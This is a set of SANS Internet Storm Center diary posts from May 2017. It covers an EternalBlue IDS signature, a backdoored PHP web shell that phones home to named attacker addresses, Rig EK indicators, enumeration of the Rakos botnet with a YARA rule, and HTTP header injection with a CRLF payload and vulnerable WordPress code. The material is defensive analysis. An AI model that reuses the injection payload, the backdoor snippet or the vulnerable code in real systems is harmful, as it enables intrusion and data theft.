alert tcp $HOME_NET 445 -> any any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response"; flow:from_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:2;)

Until now, the best protection is of course to patch your systems as soon as possible and keep your users aware of the new ransomware campaign to preven them to open suspicious emails/files.

[1] https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
[2] https://isc.sans.edu/forums/diary/ETERNALBLUE+Windows+SMBv1+Exploit+Patched/22304/

We will update this diary with more information if available. 

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

10 Comments

Published: 2017-05-12

When Bad Guys are Pwning Bad Guys...

A few months ago, I wrote a diary about webshells[1] and the numerous interesting features they offer. They’re plenty of web shells available, there are easy to find and install. They are usually delivered as one big obfuscated (read: Base64, ROT13 encoded and gzip'd) PHP file that can be simply dropped on a compromised computer. Some of them are looking nice and professional like the RC-Shell:

I’m pretty sure that some people are using web shells as a remote administration tool. Is it really a good idea? Not sure… When we install a software on our computer, one of the recommendations is to check the hash of the files/archives with the one provided by the developer to be sure that the software has not been altered by any means. It could be a good idea to make the same with web shells!

While preparing a presentation about web shells and testing some of them in a lab, I found a specific version of the RC-Shell (v2.0.2011.0827) that started to generate suspicious traffic. Almost at the same time, I was contacted by one of our readers that reported to me the same behaviour. He did some analysis on his side and the conclusion was that the web shell was backdoored! The PHP code contains an array of Base64 encoded images which are icons used to identify the file types. In the backdoored version, the "unknown" file has been replaced by a rogue one.

$images = array(
    "small_unk" => "iVBORw0KGgoAAAANSU ...",
   "unknown" => "iVBORw0KGgoAAAANSU ..."
);

MD5 (unknown.png) = 1470521de78ef3d0795f83ea7af7c6ad

If you have a look at the picture metadata, you will see that the 'unknown' one contains a very long and obfuscated comment (TweakPNG[2] is a very nice tool to play with PNG images metadata):

Multiple functions have been added to the web shell to deploy the backdoor. Once data decoded, they are passed to a create_function():

function z8t($i, $o)//run backdoor
{
    $r = @create_function('$o', 'return @' . z7v($o, 0) . '($o);');
    return $r($i);
}

Note: I found different versions of the web shell with different function names.  

The decoding of the PNG image comment and the installation of the backdoor is available here[3]. The code of the backdoor is located here[4]. Basically, it collects juicy information (local PHP variables and details about the web shell and phone home via two channels:

  • SMTP is used to drop an email to peterlegere51@yahoo[.]com
  • HTTP is used to post the same data to hxxp://peterlegere.byethost2[.]com/news/index.php

Here is an example of an email sent to the email address:

To: peterlegere51@yahoo.com
Subject: Linux|http://shiva/lab/VW4Zy8Yg.php?
X-PHP-Originating-Script: 1000:VW4Zy8Yg.php(830) : runtime-created function(1) : eval()'d code
Message-Id: <20170509202418.BE96124112C@shiva>
Date: Tue,  9 May 2017 22:24:18 +0200 (CEST)
From: www-data@xxxxxx.rootshell.be (www-data)

URL=http://shiva/lab/VW4Zy8Yg.php?

version=2.0.2011.0827
auth use_auth=0
auth md5_user=098f6bcd4621d373cade4e832627b4f6
auth md5_pass=098f6bcd4621d373cade4e832627b4f6
default_vars language=en
default_vars email=q_q_x_x@yahoo.com
default_vars default_sort=0a
default_vars default_act=tools
default_vars bind_port=31337
default_vars bind_pass=xxxxxx
default_vars backcon_port=31337
default_vars sql_host=localhost
default_vars sql_user=root
default_vars sql_db=mysql
default_vars sql_table=users
default_vars ftp_user=anonymous
default_vars ftp_pass=anonymous@ftp.com
default_vars downloada=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
SERVER_NAME=xxxxxx
SERVER_ADDR=192.168.254.8
SERVER_PORT=80
HTTP_REFERER=http://shiva/lab/
PHP_SELF=/lab/VW4Zy8Yg.php
REQUEST_URI=/lab/VW4Zy8Yg.php
SCRIPT_NAME=/lab/VW4Zy8Yg.php
SCRIPT_FILENAME=/var/www/lab/VW4Zy8Yg.php
REMOTE_ADDR=192.168.254.11

So, be warned when you download and use tools from unknown or unreliable sources. Even underground tools can be backdoored!

[1] https://isc.sans.edu/forums/diary/The+Power+of+Web+Shells/21257
[2] http://entropymine.com/jason/tweakpng/
[3] https://gist.github.com/anonymous/319ef7124affebec67ebc56bc83cbe87
[4] https://pastebin.com/bgj7aH9u

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

1 Comments

Published: 2017-05-11

Seamless Campaign using Rig Exploit Kit to send Ramnit Trojan

Introduction

On Wednesday 2017-05-10, @thlnk3r tweeted about Rig exploit kit (EK) activity.  @DynamicAnalysis has already posted an analysis of this traffic on malwarebreakdown.com (always a good read), but I've also looked into it.  Today's diary documents my investigation.


Shown above:  Tweet about this Rig EK activity from @thlnk3r (link).

Details

This is not one of the campaigns that use Rig EK like pseudoDarkleech or EITest (both of which I haven't seen since April 2017).  This traffic has different characteristics.  Cisco is calling it the Seamless Campaign due to an associated iframe attribute back when it was first discovered.

By the time I investigated this traffic, the compromised site that kicked off the chain of events was already off-line.  Fortunately, I was able to generate Rig EK by going directly to the Seamless gate URL at 185.31.160.55/flow335.php.


Shown above:  Flow chart for this infection traffic.

The Seamless gate led to Rig EK, and network traffic showed indicators of a Ramnit infection after Rig EK.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  Alerts from Sguil on Security Onion using Suricata and the ETPRO ruleset.


Shown above:  Some Ramnit alerts after reading the pcap with Snort using the Snort Subscription ruleset.

Indicators of Compromise (IOCs)

The following IP addresses and domains are associated with this traffic:

  • 185.31.160.55 port 80 - 185.31.160.55 - GET /flow335.php  [Seamless gate]
  • 185.154.52.233 port 80 - sell.northwestfloridacannabis.online - Rig EK (1st run)
  • 185.154.52.233 port 80 - top.northwestfloridacannabis.org - Rig EK (2nd run)
  • 95.215.108.213 port 443 - mudsaoojbjijj999.com - Post-infection encoded/encrypted traffic
  • Note:  The infected Windows host also tried several attempts at contacting google.com.

The following files are associated with this traffic:

Final words

Rig EK is still an ongoing factor in our current threat landscape.  Thanks to everyone on Twitter who tweets about EK activity.  Without help from the community, this traffic is difficult to obtain.

As always, if you follow best security practices (keep your Windows computer up-to-date and patched, etc.), your risk of infection is minimal.  Unfortunately, many people don't follow best practices.  Until this situation changes, EKs will likely remain a profitable method for criminals distributing malware.

Emails, malware samples, and pcaps associated with the 2017-05-10 Rig EK traffic can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2017-05-10

Read This If You Are Using a Script to Pull Data From This Site

I love it when people write tools to pull data from this site, and we try to accommodate automated tools like this with our API. but sometimes, scripts go bad and we keep having cases were scripts pull the same data several times a second. I would love to let the owner of the script know, but often this is hard.

To prevent some of these issues, I am going to enforce a new rule going forward: Your User-Agent has to include a contact for the script. I prefer a simple e-mail address. A URL will do if that is easier for you. The data will exclusively be used to contact you in case of a problem.

To enforce this, generic user agents will be blocked (like "Python-urllib/2.7", "Wget/1.12 (linux-gnu)", "curl/7.38.0"). I will start doing so with older pages that should no longer be used by automated scripts anyway (as they are not designed for automation like our API), and initially only block specific User Agents.

If you hit the page with a blocked User Agent, a "403" error will be returned (Forbidden) and a simple text message pointing to this post [1]. 

[1] https://tools.ietf.org/html/rfc7231#section-6.5.3

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

2 Comments

Published: 2017-05-10

OAuth, and It's High Time for Some Personal "Security-Scaping" Today

After Bojan's recent story on the short-lived Google Docs OAuth issues last week (https://isc.sans.edu/forums/diary/OAUTH+phishing+against+Google+Docs+beware/22372/), I got to thinking.  The compromise didn't affect too many people, but it got me thinking about OAuth.  The piece of OAuth that I focused on is the series of permisssions and tokens that allow interaction between applications, which is what the recent compromise took advantage of. 

My personal mantra is "the best day to change the password for "X" is today", and as part of this I've expanded that proverb to include looking at application permissions and privacy settings!

For instance, using Google’s “Security Checkup” at https://myaccount.google.com/security , I found that at some point in the past, I granted TripAdvisor access to my Gmail account. This wasn’t intentional, it was probably an “OK” prompt during an install or update process – you know, the ones you sometimes just click quickly / accidentally without paying attention to?  Then wonder if you just clicked something dumb right after? Anyway, yes, one of those - *click* - gone now!

I moved on to Facebook - application settings are here: https://www.facebook.com/settings

and privacy settings are here: https://www.facebook.com/settings?tab=privacy

Really, everything in that page needs to be looked at!. Me, I was surprised to find that I was using an older email address for my Facebook login (oops) –with the login buried in my iPad app, it wasn’t something I had thought about (plus I’m not in facebook too much lately)

Other sites of interest:

Twitter: https://twitter.com/settings/account

In particular: https://twitter.com/settings/safety

And: https://twitter.com/settings/applications

Linkedin: https://www.linkedin.com/psettings/

Really, most apps that you run have a privacy or a security page – it never seems to be front-and-center though, in fact for many of the apps I access primarily from a dedicated app on my phone or tablet, I needed to go to the “real” application in my browser to find these settings.

As you go, be sure to translate the security questions to plain English. For instance, from Google’s “privacy checkup”, you’ll see:

From another perspective this can mean “do you want to give Google access to your telephone number and link that back to your identity?”  Since that information is likely in the phone book (and the online version of the phone book), the answer might very well be yes, but that’s not how it was asked ..

The Google privacy checkup is a really good one to run through. I found my Youtube history (now deleted, thanks!), a map of my travels from Google Maps and my Chrome history – all gone now that I've seen it and clicked that handy *delete* button. In an academic way we all know that “Google knows all”, but is creepy to find all in one place like that. If you found an actual person tracking that information on you it’d probably be something you’d go to a lawyer about!

Kudos to Google for giving you access to that info and control over sharing it, but it certainly isn’t front-and-center by any stretch!

Shifting gears (and away form OAuth a bit), the application settings on your phone is another place to find stuff leaking that you haven't been thinking of.  That silly app you installed 2 or 3 years ago?  Maybe it's got background access to your location and contacts (I can't think why a mirror app has a legit need for that info, except to sell it) - today is a good day to dig into these settings too.

On my iPad / iPhone, some of those settings are in  Settings / Privacy, and others are in Settings directly (look for the applicatio name) – here you are looking for oddball permissions. For instance, apps that over time you have granted access to your location or contacts that don’t need that information. You’ll want to go over all of your access - - Your fitness app for instance likely needs your location info but not your contacts. In my case, my hotel “loyalty app” had access to my location – this sort-of makes sense if you're looking for a hotel "right now", but it’s not something I wanted them to have.

If you’ve had your phone for a while, you’ll likely be surprised to see who and what applications have access to your location, your contacts, inbox and calendar, your camera and microphone – this really is a good thing to revisit periodically, maybe when you change your smoke alarm batteries? (and today of course)

While you’re in there, if you’ve got embedded passwords how about maybe changing those today too? There are a large number of folks who still use the same passwords for everything, and over the years we’ve seen compromises at Yahoo, at Facebook and lots of other major (and minor) services. If you haven’t changed your Gmail (or whatever) password in a year or two, today is an EXCELLENT day to do this. Pick something long for a password (longer than 15 characters, but really the longer the better). The key is to use different, complex passwords for as many things as possible. Especially if your approach is to bury the password in the app settings on your phone, there's no reason it needs to be easy for you to type or remember.  If you don’t already use a password manager to keep track of these, today is a good day to consider that as well.  Many password managers will do a good bit of this password change stuff for you!

Better yet, investigate changing as many services as possible to two factor authentication.

I think I’ve just taken up half of your day with the list above, but while we’re on a roll, what else should we be looking at? What have I missed?  By all means use our comment form and add to the list!

===============
Rob VandenBrink
Compugen

1 Comments

Published: 2017-05-09

Microsoft Patch Tuesday (and Adobe)

It is Microsoft patch Tuesday again, and back are the difficulties to make sense of the way vulnerability information is organized. The Security Update Guide lists a total of 243 security updates, but note how for each product (e.g. Microsoft Edge) we have different platforms listed. These are patches that fix the same group of vulnerabilities but for different platforms.

According to the Security Advisories page, Microsoft released 3 advisories today, and one yesterday. The Security Guidance page has a few more (but some of the links are currently broken). Here are the highlights:

Advisory 4022345: If you installed Windows 10 or Server 2016, but never logged on, then it is possible that your system isn't checking for updates. This is probably not a big deal for most people, but if you deploy large sets of machines, for example in cloud environments, and never log in, then this may be a problem.

Advisory 4021279: .Net Core, ASP.Net Core Privilege Escalation: This is an update to various .Net core packages. If you used a vulnerable package in your project, then your project may be vulnerable. To fix this, you not only need to update .Net Core, but you will also need to update the dependencies in your project. This will require editing the respective project configuration file which specifies the version included.

Advisory 4010323: No more SHA-1 in Internet Explorer 11 and Edge.

 

Now the probably most interesting advisory came yesterday, a day before the official patch Tuesday. Turns out that Microsoft's Malware Protection engine had a remote code execution vulnerability that could be triggered by it scanning a crafted binary. This vulnerability turned the security software against the user. This vulnerability got quite a bit of press after Tavis Ormandy hinted about it in a widely distributed tweet on Friday. In the end, this will likely not be as catastrophic as many made it seem. First of all, there is currently no public exploit. Secondly, but the time to read this, you are very likely patched. This patch will be applied as part of Microsoft's regular signature update. It is not a patch that you specifically have to apply. Windows should check for updated signatures at least once a day. If it skips an update, then maybe it will take another day. But there is currently no public exploit, so don't panic. You probably have plenty of other issues to worry about. Just let this one work itself up.

And Adobe, of course, patched Flash, which also affects Internet Explorer and Edge.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

3 Comments

Published: 2017-05-08

Exploring a P2P Transient Botnet - From Discovery to Enumeration

[This is a guest diary by Renato Marinho of Morphus Labs. If you are interested in writing a guest diary: please send suggestions to us via our contact page] 

1. Introduction

We recently deployed a high interaction honeypots expecting it to be compromised by a specific malware. But in the first few days, instead of getting infected by the expected malware, it received a variety of attacks ranging from SSH port forwarding to "Viagra and Cialis" SPAM to XORDDoS failed deployment attempts. By the third day, it was insistently hit and compromised by Rakos, a Linux/Trojan.

Based on the expected Rakos behavior reported last December by ESET [1], our honeypot was recruited to a botnet and immediately began attempting connections to other hosts on the Internet, both to “call home” and to search for new victims. Although it wasn’t our initial plan, we noticed that this sample didn't behave like the one ESET described, which got us curious and made us analyze it here at Morphus Labs.

After analyzing and exploiting this botnet's communication channel and employing Crawling and Sensor Injection enumeration methods, we did find a network floating around 8,300 compromised devices per day spread over 178 countries worldwide. Considering the recent DDoS attack reported by Incapsula [2] against a US College, originated from 9,793 bots, which was able to generate 30,000 requests per second during 54 hours, we may infer how potentially threatening is Rakos botnet.

2. Botnet C&C channel analysis

To better understand this P2P Transient botnet behavior and its C&C protocol, we listened to its traffic for 24 hours, and after analyzing it, we noticed two kinds of communications: one between bots through HTTP and, the other, between bots and C&C servers through TLS/SSL. In this section, we detail the commands we mapped.

Some definitions before start:

  • Checker: An infected machine ("bot") that is part of the botnet.
  • Skaro: C&C server

A particular node may play both roles.

2.1 Communication between Checkers and Skaros

The connections between Checkers and Skaros are made through SSL/TLS encrypted sessions. It was necessary to intercept the traffic using a classic man-in-the-middle attack to access the messages. See in Table 1 the list of captured commands and its descriptions.

Table 1 - C&C between Checkers and Skaros
Command Description
POST /ping HTTP/1.1 This command is used by Checkers to inform a Skaro its information and stats. It includes: system architecture, operating system, a “checker” port number (used for bot to bot communication) and machine load (CPU and Memory). In the response, it receives the SSL certificate files (CA, CERT and KEY), a list of up to 30 Skaros addresses and 50 Checkers
GET /upgrade/up HTTP/1.1 Command issued by the Checker to get a new list of username/password combinations from a Skaro.
GET /upgrade/vars.yaml HTTP/1.1 Issuing this command, a Checker receives a response like the initial parameters. It’s a kind of configuration refresh.
GET /upgrade/linux-armv5 HTTP/1.1 This command is used to get a new version of the malware binary file.

2.2. Communication between Checkers

The communication between Checkers is essential to discover their own public IP address. The bots reach each other through HTTP requests using the high random TCP port they bind to.

See in Table 2 the list of commands and its descriptions.

Table 2 - C&C between Checkers
Command Description
GET /  HTTP/1.1 One bot querying another to discover its own IP address.
GET /love HTTP/1.1 Like the previous command; one bot uses “/love” to query another for its own IP address and PTR (the reverse name associated with that IP address). There is a “zen” parameter we didn’t realize its function.

3. Sizing the botnet

Now that we better understand the C&C channel, let’s move on to the intelligence gathering phase. The objective here is to enumerate the population of this botnet, classify its nodes into Skaros and Checker groups and get as much information as possible about them. To this end we implemented two standard approaches to size P2P botnets, Crawling and Sensor Injection [3]

3.1. Crawling

This strategy consists of visiting as many nodes as possible and collecting information about them. The crawler starts by requesting the neighbor list from a seed node and iteratively requests neighbor lists from every newly discovered and active node until all bots are discovered [4].

To maximize our chances of finding an ‘always available and responsive’ seed node, we investigated the lists of Skaros we collected during the man-in-the-middle process and the “/ping” commands we collected to discover prevalent IP addresses. Doing this, we found a group of three IPs both present in the section “skaro” in response to the C&C command “/upgrade/vars.yaml” and in the section “proxies” in response to the C&C command “/ping”, which could make them good seed node candidates.

To validate this, we queried them manually issuing “/ping” commands. As a result, two didn’t respond, and the other answered with an SSL error message, as seen in Figure 1.

At this moment, we realized that the bots authenticate via the SSL certificate found in the C&C command responses. Using it, we issued another “/ping” to the same Skaro that, this time, answered with the expected results, including a list of up to 30 Skaros and 50 Checkers. This botnet protection/authentication mechanism indicated to us the importance of this node to the botnet and made us choose it to be our seed node. We decided to call them “Super Skaros”.

Finally, we wrote a script to automate the crawling process. The script, written in Python, iteratively requests the seed node for the Skaros it knows. Then is asks these Skaros for the Skaros they know and so on until there is no new Skaro to request. The script also creates a graph of the botnet while discovering it to make it easy to further analyze the nodes and its interconnections.

3.1. Sensor Injection

The second strategy is to inject fake nodes into the botnet as sensor nodes [5]. The objective is to offer the network fake nodes to be contacted by the others while enumerating them.

Given the restricted number of Skaros and Checkers returned by each query, the crawling approach may give us just a limited view of the whole botnet. Even when we tried to repeat the query for the same Skaro, the returned list usually included just a small number of new nodes.

To overcome this problem and to improve que quality of our enumeration process, we decided to apply the Sensor Injection method, which, for this research, consists in inserting fake nodes (Skaros and Checkers) into the botnet and collecting information about the nodes that contact them.

To insert the Checker Sensor, we basically ran the malware binary on a controlled environment preventing it from establishing any SSH outgoing connections and monitored the network traffic to enumerate all bots that contacted it. As the communication between Checkers isn’t encrypted, this strategy could give us the possibility to inspect any content posted to or from our sensor.

To insert the Skaro Sensor, we prepared a “/ping” command with manipulated “available”, “running” and “addr” parameters pointing to the IP address to one of our honeypots and sent it to a valid Skaro. Next, we issued a new “/ping” command to the same Skaro and confirmed that our Sensor Node appeared in the returned Skaro list, as seen in Figure 2

To receive and handle those HTTPS connections, we deployed a Nginx server and configured it with the botnet default SSL certificates. With this setup up and running, we started receiving POST and GET requests coming from Checkers, as seen in Figure 3.

To capture and store the data posted to the Skaro Sensor, we created a simple PHP script to append to a file the received HTTP POST parameters. In Figure 4 there is an example of a Checker posted data using the “/ping” C&C command, as always, full of information about the victim, include credentials in clear text.

Finally, to maintain our Skaro Sensor alive on the botnet, we could continually send the manipulated “/ping” command to the Skaros on the network. To implement this, we just configured the “/ping” request of the Crawling method with the appropriate values. As the Crawling would periodically visit all active Skaros, our Sensor Node would always be propagated.

3.3. Experiment environment setup

After defining the methodology and tuning the scripts, it was time to create the environment to execute the experiments, detailed in this section.

As we were dealing with a P2P botnet, distributing the Sensor Nodes in different parts of the world could give us a better view of the botnet, especially if it imposed any kind of communication restriction or load balancing based on geographic regions or IP addresses.

Thus, we distributed 5 Sensor Nodes in the following locations:

  • North America: Oregon
  • South America: São Paulo
  • Europe: Ireland
  • Southeast Asia: Singapore
  • Oceania: Australia

In each location, we installed a honeypot with the configurations and scripts necessary to run the Crawling and Sensor Injection experiments, which include:

  • Network packet capture: to capture all inbound and outbound connections;
  • A Nginx HTTPS server: to be our Skaro Sensor;
  • The Crawling Script: to run the crawling process while enumerating all Skaros and Checkers and to create graphs;
  • A Rakos binary: to be our Checker Sensor;
  • Outbound filter: all the outgoing connections on TCP port 22 (SSH) were blocked to avoid our honeypot from scanning the Internet for victims.

3.4. Running the experiments

Finally, we put our plan into action. The experiments were started simultaneously in all honeypots. Shortly after, the Crawling Process was already querying 30 to 60 Skaros and the Sensor Nodes were receiving connections from the botnet. All as expected.

After 72 hours (or 3 days), we stopped the experiment and started processing all the collected data. The results are shown in the next section.

4. Results

The experiments generated approximately 5 GB of data amongst PCAP files, HTTP requests, crawled data and graph files that were handled and inserted into an Elastic Stack [6] and Gephi [7] platforms for querying and visualization purposes. The results of both enumeration methods are summarized in Table 3.

 

Table 3: Results Summary
NODE TYPE / METHOD CRAWLING SENSOR INJECTION UNIQUE NODES
CHECKERS 498 24782 24967
SKAROS 281 239 299
>UNIQUE NODES 779 24839 25084

As we expected, the crawling strategy gave us just a small view of the whole picture. In fact, it accounted for just 3,15% of the total number of discovered nodes. The other part, 96,84% or 24,839 nodes, was found by the Sensor Nodes.

Each sensor discovered an average of 5,000 unique Checkers and 48 unique Skaros during the whole experiment. Comparing to the Crawling method, it’s interesting that although Sensor Injection could discover 50 times more Checkers, it discovered 15% less Skaros. It is also worth mentioning that the efficacy of Sensor Nodes depends on the continuous “/ping” to maintain the Sensor Nodes “alive”.

To make it easy to represent the botnet and its interconnections, we produced graphs for each crawler.  One of those graphs, as seen in Figure 5, shows in green the discovery path from the seed node to the Checkers, in lilac, passing through Skaros, in orange. In summary, each node is connected just to the node from which it was discovered by during the crawling process.

The other graph shows the real interconnection between nodes, as seen in Figure 6. Here we can see a very thick botnet where virtually all Checkers know all Skaros.

Now, plotting the discovery path graph on the world map, as seen in Figure 7, we may have an idea of the botnet worldwide. To geolocalize the nodes, we used MaxMind database [8].

Figure 8 represents all the connections received by "São Paulo" sensor. The big yellow node represents the sensor node. In lilac are the Checkers and in orange, the Skaros.

The graph for the other sensor nodes look very much like these differing basically by the geographic position of the sensor node.

The worldwide botnet distribution is shown in Figure 9. It’s clearly perceived a high node concentration in Europe, highlighting France, Italy and Spain.

The Top 10 countries are shown in Figure 10.

Another interesting finding of this research is related to the victims’ devices as seen in Figure 11. At least 45% of them are Raspberry PI followed by OpenELEC with 21.79% - which are usually deployed on Raspberries. Next, with 16,74%, comes UBNT, wireless access points devices from Ubiquiti.

This botnet relies basically on default or easy guessable passwords that devices owners fail to manage. None the less, Open ELEC systems do not even offer an easy way for users to change the default password, as shown in Figure 12 The text was extracted from Open ELEC’s website [9].

5. Indicators of Compromise

In this section are the IoCs (Indicators of Compromise) that could be used to search for this malware in your environment.

5.1. Binary hashes

Table 4: Rakos binary hashes
OS ARCH MD5 SHA256
Linux i386 4d08072825eb9e32b9736988c57050eb 7328e81a67419bba42d204a82db311db1a033c1c37d454f7adc3e1ebd635e976
Linux ARM abf87f358d265a072d3ee4a4e1ddc16f 519c236f9974279e1db3c973b2d3c4e561307cfb52dcca4b77d19004b506157d
Linux MIPS f6eed5ce7e92f4d34de98d6d262a869b f5dc3cb4d884012b8f255a4946c2914d9ecaa3382f556125124480c3c47be07e
Linux x86-64 b5cc4d3e6188cbb6a6f725b53fbf3c6b 3e538db81365c3a64af78f53cb64fd58c7843ffa690ec0996b7556fc43a876df
FreeBSD x86-64 8e9f0211e0e6448e587aaa979f311ac1 9d476b8b4326be1207e3064f0aa0e01646277722c50c8e9a61c8c87f53416075

5.2. Yara Rules

strings:

            $ = "upgrade/vars.yaml"

            $ = "upgrade/up"

            $ = "/tmp/init"

            $ = "dalek"

            $ = "skaro"

condition:

            4 of them

5.3. URL Filtering

GET /love

User-Agent: Go-http-client/1.1

6. Final Words

This research revealed a network of controlled devices we defined as a “Transient Botnet”. The term transient refers to the non-persistence aspect of Rakos malware which means that a single bot remains on the network after a reboot only if it gets compromised again, just like Mirai. In other words, we are dealing with a threat that, like many others, counts on the certainty of the abundance of victims and that most them will remain vulnerable – even though this vulnerability could be avoided by a password change.

This transient aspect was reflected in the results we found. During the experiments, the number of nodes floated during the period with peaks of 1,700 new IP addresses which could be existing victims we didn’t know yet or simply new infected or re-infected nodes. Considering this fluctuation, from the 25084 unique nodes discovered in 72 hours, we may consider an average of 8362 bots per 24 hours which certainly represents risks if they were used together in DDoS attacks, for example.

This individual problem that potentially leads to a global threat reminds us the difficult adoption of BCP 38 (Best Current Practices) [10] that specifies how Internet Services Provides (ISPs) could individually cooperate by configuring its routers to defeat DDoS amplification attacks over the Internet. The difference is that in password vulnerability problems we don’t have a guideline or an imposed rule; it involves much more devices and, especially, people.

Finally, it’s worth mentioning that during the 30 days we analyzed this botnet, we didn’t notice any malicious actions other them the SSH brute-force scanner itself. It seems that someone is preparing it to be sold or to offer “services” using it when it gets in the right size. Thinking this way, the innocuous-looking may be a strategy to fly under the radar.

7. References

[1] http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/

[2] https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html

[3] Rossow, Christian, et al. "Sok: P2pwned-modeling and evaluating the resilience of peer-to-peer botnets." Security and Privacy (SP), 2013 IEEE Symposium on. IEEE, 2013.

[4] J. Kang and J.-Y. Zhang. Application Entropy Theory to Detect New Peer-to-Peer Botnets with Multi-chart CUSUM. In Proceedings of the 2nd International Symposium on Electronic

[5] Karuppayah, Shankar, et al. "On advanced monitoring in resilient and unstructured P2P botnets." Communications (ICC), 2014 IEEE International Conference on. IEEE, 2014.

[6] https://www.elastic.co/

[7] https://gephi.org/

[8] http://dev.maxmind.com/geoip/geoip2/geolite2/

[9] http://wiki.openelec.tv/index.php?title=OpenELEC_FAQ#SSH_Password_change

[10] https://tools.ietf.org/html/bcp38

 

0 Comments

Published: 2017-05-06

What Can You Learn On Your Own?

We are all privileged to work in the field of information security. We also carry the responsibility to keep current in our chosen profession. Regularly I hear from fellow colleagues who want to learn something, but do not have a training budget, feel powerless and sometimes give up. I would like to share several approaches that can be used to bridge this gap and will hopefully inspire a self-investment both this weekend and beyond. None of these ideas cost anything more than time.
 
I decided to borrow an idea from an informal mentor, something I generally give them credit for, but not always. I decided to wake up early each morning with the intent to learn something new every day. Maybe the something is a new tool, a new linux distribution or taking an online class. Having done this now for the last 7 years, I can say without hesitation or regret that it has been pivotal in making me a better me. I am convinced that applying just a little bit of incremental effort will serve you well as well.
 
Ideas to get you started:              
  • SANS Webcasts and in particular their Archive link                         
  • Serve as an informal mentor to a junior team member, while being open to learn from them 
  • Volunteer help out in a local information security group meeting
  • Read that book on your shelf that has a little more dust that you would like to admit
  • Subscribe to Adrian Crenshaw’s YouTube channel 
  • Be intentional by creating a weekly appointment with your team in order to learn something new over a brown bag lunch
  • Foster an environment that facilitates a culture of learning
 
After considering this topic for a long time, I want to ask this question - What are you doing to invest in yourself, particularly in ways that do not cost anything but your time? Please leave what works for you in our comments section below.
 
Russell Eubanks

5 Comments

Published: 2017-05-06

The story of the CFO and CEO...

I read an interesting article in a Belgian IT magazine[1]. Every year, they organise a big survey to collect feelings from people working in the IT field (not only security). It is very broad and covers their salary, work environments, expectations, etc. For infosec people, one of the key points was that people wanted to attend more trainings and conferences. The salary is not the key element. When I was visiting the Hack in the Box conference in Amsterdam a few weeks ago, there were flyers distributed to participate in an online survey about trainings & infosec[2].

When I twitted[3] about the Belgian article, the author of this survey contacted me and told me that the results of his survey demonstrated that 76% of participants are ready to search for a new position if they aren’t allowed to attend (enough) security conferences! This reminds me the joke of the CFO speaking to the CEO:

CFO: What happens if we train them and leave?
CEO: What happens if we don't and they stay? 

We are working in a field where things are changing at light speed. We must attend trainings, we must meet peers and share our experience! Have a nice weekend!

[1] http://www.datanews.be
[2] https://docs.google.com/forms/d/e/1FAIpQLSfnkJ_tqKyWWgNXG-PMXdWvigKR5j77bfN0mGOTxmj-RjORIw/viewform?c=0&w=1
[3] https://twitter.com/xme/status/856577692975628289

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

4 Comments

Published: 2017-05-05

HTTP Headers... the Achilles' heel of many applications

When browsing a target web application, a pentester is looking for all “entry” or “injection” points present in the pages. Everybody knows that a static website with pure HTML code is less juicy compared to a website with many forms and gadgets where visitors may interact with it. Classic vulnerabilities (XSS, SQLi) are based on the user input that is abused to send unexpected data to the server. Here is a very simple GET example:

http://www.company.com/shop/view.php?article=1234

Or an HTTP POST form:

<form action=“/view.php” method="post">
  <input name=“article" id=“article">
  <input type="submit" value=“Submit">
</form>

In both cases, the pentester will have a deeper look at the values that can be passed to the article parameter.

But, there are alternative ways to interact with a website. Today, modern sites have multiple versions available. Depending on the visitor’s browser,  a “mobile” or "light" version of the website can be returned, optimised for mobile phones or tablets. Some websites react in different ways just based on the User-Agent passed by the browser. Chris John Riley developed a few years ago a nice script that I’m still using today during the reconnaissance phase of a penetration test: UA-Tester[1]. It performs multiple HTTP requests with different User-Agent strings and searches for response body, server headers, HTTP code, etc:

$ ./ua-tester.py -u www.company.com -f my-useragents.txt -v

The HTTP referrer is also a very nice way to abuse some websites. A few years ago, I remember a Belgian newspaper which granted access to paid content based on the referrer! The HTTP headers passed in every HTTP requests are also a good source of vulnerabilities. We have a new example with two Wordpress vulnerabilities released this week: CVE-2017-8295[2] and a second one based on CVE-2016-10033[3].

The first affect the password reset feature provided by Wordpress (up to version 4.7.4). It might allow an attacker to get the password reset link sent via email and use it to compromise the user account then have more access to the Wordpress site. The second one has been discovered in 2016 but disclosed two days ago. This one affects the PHPMailer mailer component of Wordpress core 4.6. The Wordpress development team initially reported as not affected by the bug discovered in 2016. They are interesting because both are vulnerable to the injection of malicious data through HTTP headers. Many web servers (Apache included) set the SERVER_NAME variable using the hostname supplied by the client.

Keep in mind: When you read “... supplied by the client”, you must understand: “... that can be altered or poisoned by the client”.

Here is the code that is vulnerable in the first vulnerability:

if ( !isset( $from_email ) ) {
  $sitename = strtolower( $_SERVER['SERVER_NAME'] );
  if ( substr( $sitename, 0, 4 ) == 'www.' ) {
    $sitename = substr( $sitename, 4 );
  }
  $from_email = 'wordpress@' . $sitename;
}

Wordpress just uses the “Host:” HTTP header provided by the client’s browser. PHP fills the variable SERVER_NAME based on this header.

Other techniques to abuse HTTP headers exist. By example, HTTP Header injection:

http://www.company.com/shop/view.php?article=1234%0D%0ASet-Cookie%3A%20MyCookie=pwn3d

In the case of vulnerable code, the server could return headers like this:

HTTP/1.1 302 Object moved
Connection: close
Location: search.php?article=1234
Set-Cookie: MyCookie=pwn3d
Content-Length: 105

Those attacks are not new, most of them are known for years but are still relevant today. Also, think outside HTTP. Most protocols use headers that might be abuse. A good example was Postfix in 2014 which was vulnerable to the ShellShock attack via SMTP headers[4].

